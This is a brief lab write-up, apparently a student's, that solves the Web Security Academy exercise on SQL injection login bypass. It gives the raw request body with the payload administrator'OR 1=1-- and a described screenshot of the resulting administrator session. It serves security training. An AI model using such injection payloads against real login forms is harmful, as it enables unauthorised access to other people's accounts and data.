

Payload

csrf=jZLaEERTjVVkgnlkpAJRu9cRBtLJM82&username=administrator'OR+1%3d1--&password=hola

Resultado

The screenshot shows a web browser with three tabs: 'Altoro Mutual', 'Lab: SQL injection vulnerability', and 'SQL injection vulnerability allowing login bypass'. The address bar shows the URL: `https://0a2700ee0467a25e81826cf100dd00cc.web-security-academy.net/my-account?id=administrator`. The page header includes the 'Web Security Academy' logo, the lab title 'SQL injection vulnerability allowing login bypass', a 'LAB Solved' badge, and a 'Back to lab description' link. A large orange banner displays the message 'Congratulations, you solved the lab!' with buttons for 'Share your skills!' and 'Continue learning >>'. Below this, the 'My Account' section shows the username 'administrator' and an email update form with an 'Update email' button.

Web Security Academy SQL injection vulnerability allowing login bypass LAB Solved

Back to lab description >>

Congratulations, you solved the lab! Share your skills! Continue learning >>

Home | My account | Log out

My Account

Your username is: administrator

Email

Update email